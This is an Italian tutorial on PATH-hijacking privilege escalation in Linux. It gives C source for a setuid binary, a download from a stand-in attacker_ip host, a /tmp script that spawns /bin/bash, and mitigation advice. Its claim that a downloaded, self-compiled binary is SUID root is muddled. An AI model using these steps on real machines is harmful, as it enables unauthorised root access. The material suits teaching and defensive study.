Tutorials

Guida Approfondita: Variabile d'Ambiente $PATH in Linux e Tecniche di Privilege Escalation

La variabile d'ambiente $PATH è una delle più importanti in un sistema operativo Linux. Essa definisce un elenco di directory in cui la shell cerca i comandi eseguibili. Quando un utente digita un com

#exploitation#post-exploitation#linux#privesc

Guida Approfondita: Variabile d'Ambiente $PATH in Linux e Tecniche di Privilege Escalation

Cos'è la variabile $PATH

La variabile d'ambiente $PATH è una delle più importanti in un sistema operativo Linux. Essa definisce un elenco di directory in cui la shell cerca i comandi eseguibili. Quando un utente digita un comando (es. ls, cat, python) senza fornire il percorso assoluto, il sistema operativo cerca l'eseguibile in ciascuna delle directory specificate in $PATH, in ordine.

Esempio tipico di $PATH:

bash
/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/sbin

In questo esempio, il sistema controllerà prima in /usr/local/bin, poi in /usr/bin, e così via.

Perché è importante in ottica di sicurezza?

Una configurazione errata o una directory scrivibile da utenti non privilegiati all'interno del $PATH può rappresentare una grave vulnerabilità. Un attaccante potrebbe sfruttare questa configurazione per:

  • Inserire binari o script malevoli che vengano eseguiti con privilegi più alti.
  • Sostituire programmi legittimi con versioni trojanizzate.
  • Eseguire comandi con privilegi elevati, sfruttando binari SUID o script automatizzati.

Identificazione di directory vulnerabili

Il primo passo consiste nell'identificare directory scrivibili presenti nel $PATH:

Comando per trovare directory scrivibili:

bash
find / -type d -writable 2>/dev/null | sort -u

Verifica delle directory nel $PATH:

bash
echo $PATH

Controlla se una delle directory è scrivibile.

Tecnica di Privilege Escalation usando $PATH

1. Creazione del file sorgente malevolo

c
#include <unistd.h>
#include <stdlib.h>

int main() { setuid(0); setgid(0); system("thm"); return 0; }

Salva questo file come path_exp.c.

2. Compilazione del binario:

bash
gcc path_exp.c -o path -w

3. Trasferimento sulla macchina target:

L'attaccante può avviare un web server sulla propria macchina e usare wget o curl per scaricarlo:

bash
python3 -m http.server 80

Sulla macchina target:

bash
wget http://attacker_ip/path

4. Creazione dello script thm

All'interno di una directory scrivibile presente in $PATH (es. /tmp):

bash
echo "/bin/bash" > /tmp/thm
chmod +x /tmp/thm

5. Modifica temporanea della variabile PATH

bash
export PATH=/tmp:$PATH

6. Esecuzione del binario

bash
./path

Se il binario path è SUID root, allora lo script thm verrà eseguito come root, aprendo una shell con privilegi elevati.

Riepilogo dei comandi principali

bash
echo $PATH
find / -type d -writable 2>/dev/null
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/thm
chmod +x /tmp/thm
./path

Prevenzione e mitigazione

  • Non includere directory scrivibili da utenti non privilegiati nel $PATH.
  • Monitorare e validare l'integrità dei binari eseguibili.
  • Applicare policy di sicurezza su script automatizzati e cron job.
  • Rimuovere il bit SUID da binari non necessari.

Conclusione

Manipolare la variabile $PATH può essere estremamente potente nelle mani di un attaccante, specialmente in scenari di privilege escalation post-exploitation. Conoscere questa tecnica, sapere come identificarla e come prevenirla è fondamentale per ogni pentester e system administrator attento alla sicurezza dei propri sistemi Linux.